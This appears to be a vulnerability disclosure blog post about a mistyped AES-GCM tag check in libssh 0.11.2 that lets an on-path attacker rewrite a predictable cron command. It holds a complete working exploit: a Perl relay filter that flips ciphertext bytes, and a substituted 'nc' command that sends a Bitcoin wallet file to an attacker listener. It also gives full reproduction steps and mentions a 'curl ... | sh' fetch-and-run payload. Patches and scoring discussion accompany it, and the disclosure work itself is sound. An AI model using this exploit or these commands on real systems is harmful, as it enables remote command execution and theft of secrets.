libssh runs command attacker wrote

one mistyped comparison, nightly cron steals crypto

`Discovered 7 May 2026 · Edited 31 Jul 2026`

AES-GCM is the SSH cipher whose whole job is catching tampering: change one byte in flight, the receiver's tag check fails, and the session dies. Read that check's result with the wrong comparison and the cipher quietly degrades to AES-CTR — confidentiality with no integrity behind it — for every session. The attacker still cannot read the session, so they can only rewrite what they can already anticipate; unattended automation, running the same command every night, predicts itself.

> *Nightly cron's command rewritten in flight. libssh runs the attacker's line instead. Crypto wallet key leaves the building, job reports success.*

An unattended SSH session negotiates `aes128-gcm@openssh.com`, the authenticated encryption with associated data (AEAD) cipher hardened builds and FIPS mode select. The attacker is on-path — a compromised middle-box, a hijacked switch — with no key, no password, no handshake.

On a compliant stack, changing a byte of that session in flight is fatal to the packet: the receiver recomputes the GCM tag, sees the mismatch, and tears the session down. Integrity is the whole promise of AES-GCM. libssh 0.11.2 recomputes the tag too, and sees it fail — but a single mistyped character in the check that reads the result sends the failure down a branch that catches nothing, and the tampered record is treated as authentic.

When that record carries a command, the application is an SSH server, and what a server does with a command it believes is authentic is run it.

Tag failed — command ran.

Don't trust, verify: Crypto stolen; job reports success

The attack vector is narrow, and its narrowness identifies the target: an attacker can set any plaintext byte they can predict to any value they choose, and the receiver takes the result as authentic. Counter mode preserves length, so a substitution must match byte for byte. Interactive typing is out of reach; unattended automation is not, and that is where libssh runs.

The job below is a cache cleanup, the maintenance line every cron tutorial prints. It is useful to an attacker not for what it does but because it is the same forty-two bytes every night, and silent when it succeeds. The host also holds the one file on it nobody can re-derive: a Bitcoin wallet key. The job has no business with it. The command travels as an SSH `CHANNEL_REQUEST`, and the protocol fixes every field's offset:

```
offset  field                value
0       packet_length        80, plaintext, covered by the tag
4       padding_length
5       msg_type             98  (SSH_MSG_CHANNEL_REQUEST)
6       recipient_channel    the session channel
10      request type         "exec"
18      want_reply           1
19      command length       42
23      command              "find /tmp/cache -type f -mtime +14 -delete"
```

AES-GCM seals that record as counter-mode keystream plus a GHASH tag, so an attacker who knows the plaintext at offset 23 can put any other string of that length there: exclusive-or the two commands together, and exclusive-or the difference into the ciphertext. The adversary below picks that record out by its size, which is the smallest thing that works. Nothing in the attack requires it: message types are encrypted, but lengths and order are not, so a session that runs the same way every night can equally be counted rather than measured. In the command's place goes an `nc` that sends the wallet to a host the attacker controls, the same length here; where two lines differ, a trailing comment absorbs it. The adversary is the whole attack: a short perl filter between two `nc`s that holds no key and decrypts nothing.

```
#!/usr/bin/env perl
# WAVED on-path attacker: a filter in an nc relay between client and server.
# It holds no key and decrypts nothing. It knows two strings -- the command
# the nightly job has always run, and the one to run instead -- and AES-GCM
# is counter mode, so exclusive-or-ing their difference into the ciphertext
# puts the second into the plaintext, under a tag that no longer matches.
$| = 1; binmode STDIN; binmode STDOUT;
my ($KNOWN, $CHOSEN) = @ARGV;
die "attacker: the two commands differ in length\n"
  if length($KNOWN) != length($CHOSEN);
my $DELTA = $KNOWN ^ $CHOSEN;

# Knowing the command means knowing the size of the record carrying it: an
# exec request is 19 bytes of framing plus the command, padded to a multiple
# of 16, minimum 4 (RFC 4253). That size picks it out -- no packet counting
# -- and $seen counts every record of it, so uniqueness is measured.
my $SIZE = 16 * int((19 + length($KNOWN) + 4 + 15) / 16);

# read(2) may return short; loop, or a truncated record desyncs the relay.
sub rd { my ($n, $b, $g) = (shift, '', 0);
         while ($g < $n) { my $r = read STDIN, my $c, $n - $g;
                           return undef if !defined $r || $r == 0;
                           $b .= $c; $g += $r; }
         return $b; }
print scalar <STDIN>;              # the plaintext version line, unchanged

# Every packet is [ 4-byte length | body ]. Under AES-GCM the length is
# plaintext and the body is ciphertext plus a 16-byte tag. The type is
# encrypted, so track only whether encryption has begun: byte 1 of a
# plaintext body is the type, and 0x15 is SSH_MSG_NEWKEYS. The command sits
# at body offset 19 -- offset 23 of the record, the 4-byte length being no
# part of the body read here.
my ($enc, $seen) = (0, 0);
while (defined(my $len = rd(4))) {
  my $n = unpack "N", $len;
  my $body = rd($n + ($enc ? 16 : 0));
  last if !defined $body;
  if (!$enc) { $enc = substr($body, 1, 1) eq "\x15" }
  elsif ($n == $SIZE && !$seen++) {
    substr($body, 19, length $DELTA) ^= $DELTA;
    warn "attacker: rewrote the command in the $n-byte record\n";
  }
  print $len, $body;                         # relay it, rewritten or not
}
warn "attacker: $seen record(s) of $SIZE bytes seen\n";
```

Behind the relay stands libssh 0.11.2's own `examples/ssh_server_fork`, stock, handing a command it has accepted to `/bin/sh` at `examples/ssh_server.c:435`. Nothing on the receiver's side is ours.

Four parties, with the relay between the client's cron job and the receiver:

```
ssh ──▶ :2222 ─ nc │ flip.pl │ nc ─▶ :3222 libssh ─▶ /bin/sh ─▶ :4445
 the client         the relay          the receiver        the listener
```

The job runs as it does every night, stock OpenSSH sending the line it always sends. `stolen.dat` is what the listener on 4445 writes:

```
# the nightly job runs, exactly as it does every night
$ timeout 12 ssh -F sshcfg -i ck -p 2222 -l operator -c aes128-gcm@openssh.com \
        127.0.0.1 'find /tmp/cache -type f -mtime +14 -delete' \
     && echo 'nightly cache tidy: OK' || echo 'nightly cache tidy: FAILED'
nightly cache tidy: OK
# nothing is disturbed. The wallet is exactly where it was:
$ ls /tmp/btc/wallet.dat
/tmp/btc/wallet.dat
# and the attacker's listener now holds it, byte for byte:
$ cmp -s /tmp/btc/wallet.dat stolen.dat && echo 'identical copies'
identical copies
```

The job sent one command and the far end ran another. Nothing on the host is disturbed: the wallet sits where it was, and the job reported success exactly as on a routine night. The key now exists in two places, one of them someone else's, so the funds are gone while every signal the owner has says the night was routine. Here is the receiver's own log:

```
$ grep -E 'input algorithm|signature received|exec channel_request' server.log \
     | sed -E 's/^\[[^]]*\] //; s/ for channel.*//'
crypt_set_algorithms_server:  Set input algorithm aes128-gcm@openssh.com
crypt_set_algorithms_server:  Set HMAC input algorithm to aead-gcm
ssh_packet_userauth_request:  Valid signature received
ssh_message_handle_channel_request:  Received a exec channel_request
```

The same rewrite against an OpenSSH `sshd` is the control: same offset, same record, same forty-two bytes, same command, different receiver. OpenSSH authenticates the client, recomputes the tag, sees the mismatch, and tears the session down, naming the failure:

```
$ grep -E 'client->server cipher|Accepted publickey|code incorrect' sshd.log \
     | sed -E 's/ MAC:.*//; s/ port [0-9]+ ssh2:.*//; s/\r$//' \
     | sed -E 's/ Connection from [^:]*: / /' \
     | sed -E 's/ for [^ ]+ from / for the control account from /'
debug1: kex: client->server cipher: aes128-gcm@openssh.com
Accepted publickey for the control account from 127.0.0.1
ssh_dispatch_run_fatal: message authentication code incorrect
```

Trace to vulnerability site: Wrong predicate, dead branch

`evp_cipher_aead_decrypt` (`src/libcrypto.c:633`) is libssh's OpenSSL-backed AES-GCM receive primitive, the adapter that drives OpenSSL's cipher API and reads back its verdict. libssh ships one per crypto backend (OpenSSL by default, else gcrypt or mbedTLS), so the bug is confined to this one: it misreads OpenSSL's own tag-verify return convention, which the gcrypt and mbedTLS adapters never touch. It installs the wire tag, feeds the associated data, runs counter-mode decryption, and reaches the verify step, read off the pinned `libssh-0.11.2` checkout:

```
$ grep -n '^evp_cipher_aead_decrypt' src/libcrypto.c
633:evp_cipher_aead_decrypt(struct ssh_cipher_struct *cipher,
$ sed -n '701,710p' src/libcrypto.c
    /* verify tag */
    rc = EVP_DecryptFinal(cipher->ctx,
                          NULL,
                          &outlen);
    if (rc < 0) {
        SSH_LOG(SSH_LOG_TRACE, "EVP_DecryptFinal failed: Failed authentication");
        return SSH_ERROR;
    }

    return SSH_OK;
```

OpenSSL's `EVP_DecryptFinal`, a wrapper on `EVP_DecryptFinal_ex`, returns `0` on failure and `1` on success; for an AEAD cipher, `0` is the tag mismatch. Conditional `rc < 0` is never true, so the function returns `SSH_OK` whether the tag verified or failed, and every wire modification that breaks the tag converges on this one mistyped predicate.

The corrected check already exists in libssh, on its sibling path: the chacha20-poly1305 verify, in the same file several hundred lines further down, reads its result in the shape the AES-GCM site needs.

```
$ grep -n 'rv != 1 || len != 0' src/libcrypto.c
1065:    if (rv != 1 || len != 0) {
```

A compliant AEAD receiver rejects the tampered record outright, as does the OpenSSH control; libssh on AES-GCM alone lets it through.

Fix: Predicate the sibling path already ships

Cybernuke's guard accepts the record only when the tag check returns exactly success with no bytes left over; every other return, the tag-mismatch `0` included, is the failure it always was. It is the check libssh already runs on its chacha20-poly1305 path, carried across to the AES-GCM site:

```diff
--- a/src/libcrypto.c
+++ b/src/libcrypto.c
@@ -702,7 +702,7 @@
     rc = EVP_DecryptFinal(cipher->ctx,
                           NULL,
                           &outlen);
-    if (rc < 0) {
+    if (rc != 1 || outlen != 0) {
         SSH_LOG(SSH_LOG_TRACE, "EVP_DecryptFinal failed: Failed authentication");
         return SSH_ERROR;
     }
```

Saved as `fix.patch` in the root of the `libssh-0.11.2` checkout, applied to that same pinned tree, and rebuilt in place:

```
$ patch -p1 < fix.patch
patching file src/libcrypto.c
$ cmake --build build -j$(nproc) >> cmake.log 2>&1
```

Then the two runs that settle it, driven through the same relay and over a clean path respectively. Under the guard the substituted command never reaches the shell, so the theft surfaces as a failed job instead of a silent success. Expect no log line saying so: libssh reports a tag rejection at trace level, and the example server pins its verbosity below that whatever `-v` it is given, so the refusal shows up in what fails to happen (no exec request dispatched, nothing at the attacker's listener) rather than in the log:

```
# (a) forbidden -- the rewritten record carries a stale tag and MUST be refused.
$ timeout 12 ssh -F sshcfg -i ck -p 2224 -l operator -c aes128-gcm@openssh.com \
        127.0.0.1 'find /tmp/cache -type f -mtime +14 -delete' \
     && echo 'nightly cache tidy: OK' || echo 'nightly cache tidy: FAILED'
nightly cache tidy: FAILED
$ cat relay3.log
attacker: rewrote the command in the 80-byte record
attacker: 1 record(s) of 80 bytes seen
# the record was refused, so no command ran and nothing left the host:
$ wc -c < stolen-fix.dat
0

# (b) legitimate -- no attacker on the path: the honest job MUST still run
#     and MUST still come back clean.
$ timeout 12 ssh -F sshcfg -i ck -p 3225 -l operator -c aes128-gcm@openssh.com \
        127.0.0.1 'find /tmp/cache -type f -mtime +14 -delete' \
     && echo 'nightly cache tidy: OK' || echo 'nightly cache tidy: FAILED'
nightly cache tidy: OK
```

Scope

Affected: any libssh 0.11.2 server or client that negotiates an AES-GCM cipher and runs libssh's default OpenSSL crypto backend. The demonstration above is server-side; the client is affected by inference rather than on the wire: one receive adapter serves both roles, and the adapter is wrong. AES-GCM is the AEAD chosen wherever chacha20-poly1305 is disabled or de-prioritised (FIPS mode, hardened builds, AES-accelerated estates that prefer it), so the exposed population is the security-conscious end of the spectrum, overlapping where libssh runs as the SSH endpoint: internal management planes inside an appliance or gateway, Git-over-SSH services, embedded SSH on network gear, industrial-control systems, and the plant networks of a nuclear station.

The bug is as old as the feature. libssh's OpenSSL backend has carried AES-GCM since 0.9.0 in 2019, and the `if (rc < 0)` that misreads the tag has been in it from the first line: seven years in which every release through 0.11 accepted a forged record as readily as a genuine one.

The attacker is on-path, with no credentials and no completed handshake of their own, and the one thing they must have is the plaintext of the command they intend to replace. Nothing in the bug supplies it: the session reveals its size and its timing, never its contents. Nor can they forge a record, which needs keystream for an unused sequence number and so the key. An unattended job makes that plaintext knowable another way (a documented appliance maintenance command, a published deployment recipe, one earlier look at the host, a reconnaissance mission, or a phone call), and knowable once is knowable every night after. That prerequisite is the high Attack Complexity, `AC:H`.

What the attacker gains is execution of a command of their choosing, with the privileges of the SSH server process: libssh's example server drops none, so the substituted line runs as whatever account the receiver runs as. The command is theirs entirely, subject only to matching the original byte for byte, and the session recurs every night.

The substitution is the plainest thing that works, which bounds what it models. A host that filters outbound traffic raises the bar for that particular line, since the wallet cannot reach a listener the network refuses to route to. It narrows the substitution rather than the primitive: the attacker still chooses the command, and one that destroys, tampers or persists needs no outbound path at all. Nothing here tries to defeat egress filtering, data-loss monitoring or command auditing, because none of them is what failed.

Out of scope: libssh sessions negotiated to chacha20-poly1305, whose sibling check is already correct; sessions on `aes-ctr` with `hmac-sha2-256-etm`, which run no AEAD predicate; interactive sessions and arbitrary file contents, neither predictable enough to rewrite; and key-recovery compositions, which this finding does not need.

Afterword: Reducing blast radius, narrow first score

Disclosing a defect starts a clock: the patch merges, a release ships, and estates deploy months later, on an appliance at the vendor's release cycle rather than the owner's. Until they do, anything published lands on hosts still open, so a report to a maintainer carries the defect, the trace and the correction that closes it, not the most damaging thing it can be driven to.

The score follows the demonstration, which makes the vector published at release narrow by construction. It is the right number for the evidence on the table, and a maintainer who adopts it is scoring what they were shown. What went to libssh proved the mechanism and stopped there; the demonstration above is the same defect carried to its consequence, revealed once the patch was out. The vulnerability is the one disclosed; what changed is the exploit we are now prepared to show. A narrow first score is not an underestimate awaiting correction — it is the price of blast-radius reduction during patch in-flight.

The crypto wallet left the host. Stock libssh ran the attacker's command, and the key reached a listener the owner does not control, byte-identical to the copy still on disk, so integrity and confidentiality are both witnessed above. Availability is the one metric not shown, because the demonstration steals rather than destroys. Nothing bounds it: forty-two bytes hold `curl example.com/x.sh|sh` with room over, and that fetches any payload. At `A:N` the same vector reads 7.4; the headline 8.1 credits that destructive case.

Better fix: Write the check once

The patch above is the one we shipped to libssh, and it is built to merge: a single line, landing exactly where the report points, and nothing but the guard the tree already runs one path over. It is an easy yes --- a maintainer can take it on sight. It closes the door the report points at, and it leaves the thing that opened it. Two receive paths in the same file read the same AEAD verdict, each with its own copy of the predicate, and this bug is what the copy costs.

The chacha20-poly1305 predicate was corrected once already, in public, the sibling this page points to; that correction never reached the identical AES-GCM copy a few hundred lines up the same file, and the twin stayed open for the whole seven-year window. Carrying the guard across fixes that. It does nothing to stop the next copy drifting the same way.

So the fix upstream of the patch is to stop writing the check twice. libssh's OpenSSL backend ends both AEAD verifies on an `EVP_*Final` call whose only acceptable result is a return of exactly `1` with no bytes flushed. That reading is the guard, and it belongs in one place both paths call:

```diff
--- a/src/libcrypto.c   2026-08-27 13:58:32.597183412 +0200
+++ b/src/libcrypto.c   2026-08-27 13:58:56.041048772 +0200
@@ -629,6 +629,15 @@
     }
 }
 
+/* OpenSSL's EVP_DecryptFinal / EVP_CipherFinal_ex return 1 on success and 0 on
+ * a tag or MAC mismatch; a real AEAD verify also flushes no trailing bytes.
+ * Accept only that exact result -- anything else, the tag-mismatch 0 included,
+ * is a verification failure. */
+static inline bool ssh_evp_aead_final_ok(int rc, int leftover)
+{
+    return rc == 1 && leftover == 0;
+}
+
 static int
 evp_cipher_aead_decrypt(struct ssh_cipher_struct *cipher,
                         void *complete_packet,
@@ -702,7 +711,7 @@
     rc = EVP_DecryptFinal(cipher->ctx,
                           NULL,
                           &outlen);
-    if (rc < 0) {
+    if (!ssh_evp_aead_final_ok(rc, outlen)) {
         SSH_LOG(SSH_LOG_TRACE, "EVP_DecryptFinal failed: Failed authentication");
         return SSH_ERROR;
     }
@@ -1062,7 +1071,7 @@
     }
 
     rv = EVP_CipherFinal_ex(ctx->main_evp, out + len, &len);
-    if (rv != 1 || len != 0) {
+    if (!ssh_evp_aead_final_ok(rv, len)) {
         SSH_LOG(SSH_LOG_TRACE, "EVP_CipherFinal_ex failed");
         goto out;
     }
```

Now there is no second copy to leave behind.

Discovered 2026-05-07; disclosed 2026-05-11 (CERT/CC VRF#26-05-JTVQB). Targets: libssh 0.11.2 at upstream tag `libssh-0.11.2` (`dff6c08`), built with the default OpenSSL crypto backend. Prior art: the chacha20-poly1305 sibling CVE-2025-5987, the same predicate inversion libssh patched in the 0.11.2 release. CWE-354 · CVSS 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) · CVSS 4.0 9.2 Critical (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

Edited 31 Jul 2026 — confirmed by maintainer Jakub Jelen ("a real and important issue") and fixed with Cybernuke's one-line predicate correction: CVE-2026-59847 ("Integrity downgrade of AES-GCM ciphers"), released in libssh 0.11.5 and 0.12.1 (21 Jul 2026). Two scores are on the public record and both stop where the disclosure did. Red Hat, as assigning authority, published 5.9 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N), agreeing with the high Attack Complexity. The National Vulnerability Database published 7.5 on AC:L; we hold AC:H, because CVSS 3.1 names injecting into the logical network path, and gathering knowledge of the environment, as the conditions that make complexity High, and this attack needs both. Both scores credit the integrity break and stop there, because that is what the disclosure showed. Neither says what accepting that record buys. A tag that fails and a command that runs is somebody else's shell on your host, and the demonstration that carries it that far waits for the patch to drop. The report above was revised, now that the fix has shipped. The demonstration is carried through from the primitive to its consequence. On that evidence Confidentiality moves from None to High: 8.1 here, against the assigning authority's 5.9 for the primitive alone.

A note on the ceiling, because this finding sits on a known fault line in the scoring system. CVSS 3.1's Scope metric asks whether impact crosses into a different security authority, and for SSH the answer is almost always no — executing commands is what an SSH server is *for*. The consequence is perverse: the more closely a component's legitimate function resembles what an attacker wants from it, the less the compromise scores. The precedent is consistent and it is not kind. libssh's own authentication bypass, CVE-2018-10933, carries Scope Unchanged at 9.1; the Terrapin handshake-integrity break, CVE-2023-48795, carries Scope Unchanged at 5.9. Both defeat something SSH exists to guarantee, and neither is credited with crossing an authority. This is not a fringe complaint: FIRST removed Scope entirely in CVSS 4.0, and an empirical study of 196 CVSS users found roughly two-thirds selecting Unchanged and one-third Changed largely irrespective of the vulnerability in front of them. What no published critique appears to name is the specific mechanism above — that the metric's blind spot is widest exactly where a component's job and the attacker's goal coincide — so treat that framing as ours rather than as received wisdom.

Appendix: standing it up

Everything a maintainer needs is above. What follows is the wiring, in relative order — three steps that run between these blocks live in the demonstration above: saving `flip.pl`, running the job, and applying the fix. It is here so that a verifier whose own reconstruction disagrees with ours can find out whose fault that is. Everything sits on loopback, which is why the wallet goes to 127.0.0.1.

Clone at the release tag, build with examples and shared libraries:

```
$ git clone -q -c advice.detachedHead=false --depth 1 --branch libssh-0.11.2 \
        https://gitlab.com/libssh/libssh-mirror.git libssh
$ cd libssh
$ cmake -B build -DWITH_EXAMPLES=ON -DBUILD_SHARED_LIBS=ON > cmake.log 2>&1
$ cmake --build build -j$(nproc) >> cmake.log 2>&1
```

Keys and fixtures. Stock OpenSSH needs the host key pinned and one identity offered, so the session the job sends is identical every night, which is what the attack rests on:

```
$ ssh-keygen -q -t ed25519 -N '' -C waved-hostkey -f hk
$ ssh-keygen -q -t ed25519 -N '' -C waved-clientkey -f ck
$ cp ck.pub authorized_keys
# the ports the client will connect to, each pinned to the host key just minted
$ for p in 2222 2223 2224 3225; do
    printf '[127.0.0.1]:%s %s\n' "$p" "$(awk '{print $1, $2}' hk.pub)"
  done > khosts
$ { printf 'UserKnownHostsFile %s/khosts\n' "$PWD"
  printf 'IdentitiesOnly yes\nIdentityAgent none\n'; } > sshcfg
# the cache the nightly job tidies, and the one file on this host that
# cannot be re-derived: a Bitcoin wallet key, which Bitcoin Core keeps as
# wallet.dat. The job has no business with it. The attacker does.
$ mkdir -p /tmp/btc /tmp/cache
  head -c 64 /dev/urandom > /tmp/btc/wallet.dat
$ ls /tmp/btc
wallet.dat
# flip.pl is saved here from the listing above
```

The three processes, receiver to relay to collection point:

```
# the receiver: libssh 0.11.2's own example server, verbose. It, the relay
# and the attacker's listener are all backgrounded, so the demonstration
# needs one terminal, not four.
$ LD_LIBRARY_PATH=build/lib build/examples/ssh_server_fork -v -p 3222 -k hk \
        -a authorized_keys -u operator 127.0.0.1 > server.log 2>&1 &

# the on-path relay (nc here is netcat-traditional, for `-l -p`): the client
# reaches :2222, the rewrite happens, the receiver is :3222. The fifo
# `back` returns the receiver's replies, and the two tees keep the stream
# as it entered and as it left, to be compared byte for byte below.
$ mkfifo back
$ nc -l -p 2222 < back | tee c2s.in \
     | perl flip.pl 'find /tmp/cache -type f -mtime +14 -delete' \
                    'nc -q1 127.0.0.1 4445 </tmp/btc/wallet.dat' 2> relay.log \
     | tee c2s.out | nc 127.0.0.1 3222 > back &

# and the attacker's collection point, waiting for whatever their
# substituted command decides to send it
$ nc -l -p 4445 > stolen.dat &
```

The relayed stream as it arrived and as it left: same length, every difference inside one record's command field.

```
$ [ "$(wc -c <c2s.in)" = "$(wc -c <c2s.out)" ] && echo 'same length in and out'
same length in and out
$ cmp -l c2s.in c2s.out | awk 'NR==1{first=$1} {n++; last=$1}
     END{printf "%d bytes differ, all within %d bytes of each other\n",
                n, last - first}'
40 bytes differ, all within 41 bytes of each other
```

The control, on a port of its own so nothing above needs stopping:

```
# sshd authenticates against /etc/passwd, so the control runs as your own
# account rather than the made-up `operator` the libssh legs use
$ /usr/sbin/sshd -D -e -f /dev/null -p 3223 -h "$PWD/hk" \
     -o 'ListenAddress 127.0.0.1' -o 'UsePAM no' -o 'StrictModes no' \
     -o "AuthorizedKeysFile $PWD/authorized_keys" -o 'LogLevel DEBUG1' \
     -o 'Ciphers aes128-gcm@openssh.com' > sshd.log 2>&1 &

# the attacker gets a fresh collection point, so nothing arriving here can be
# left over from the run above
$ nc -l -p 4445 > control-stolen.dat &
# the same rewrite, at the same offset in the same record, carrying the SAME
# command -- only the receiver differs
$ mkfifo back2
$ nc -l -p 2223 < back2 | tee c2s.2.in \
     | perl flip.pl 'find /tmp/cache -type f -mtime +14 -delete' \
                    'nc -q1 127.0.0.1 4445 </tmp/btc/wallet.dat' 2> relay2.log \
     | tee c2s.2.out | nc 127.0.0.1 3223 > back2 &
$ timeout 12 ssh -F sshcfg -i ck -p 2223 -l "$USER" -c aes128-gcm@openssh.com \
        127.0.0.1 'find /tmp/cache -type f -mtime +14 -delete' \
     && echo 'nightly cache tidy: OK' || echo 'nightly cache tidy: FAILED'
nightly cache tidy: FAILED
# and the bytes the attacker collected from a compliant receiver:
$ wc -c < control-stolen.dat
0
```

The two receivers the fix is tested against, one behind the relay and one clear of it:

```
# the wallet is still in place -- the attack copied it, it did not destroy it --
# so the guarded receiver faces exactly the state the stock one did. Two
# receivers go up: one behind the relay, one on a clean path.
$ LD_LIBRARY_PATH=build/lib build/examples/ssh_server_fork -v -p 3224 -k hk \
        -a authorized_keys -u operator 127.0.0.1 > server-fix.log 2>&1 &
$ mkfifo back3
$ nc -l -p 2224 < back3 | tee c2s.3.in \
     | perl flip.pl 'find /tmp/cache -type f -mtime +14 -delete' \
                    'nc -q1 127.0.0.1 4445 </tmp/btc/wallet.dat' 2> relay3.log \
     | tee c2s.3.out | nc 127.0.0.1 3224 > back3 &
$ nc -l -p 4445 > stolen-fix.dat &
$ LD_LIBRARY_PATH=build/lib build/examples/ssh_server_fork -v -p 3225 -k hk \
        -a authorized_keys -u operator 127.0.0.1 > server-clean.log 2>&1 &
```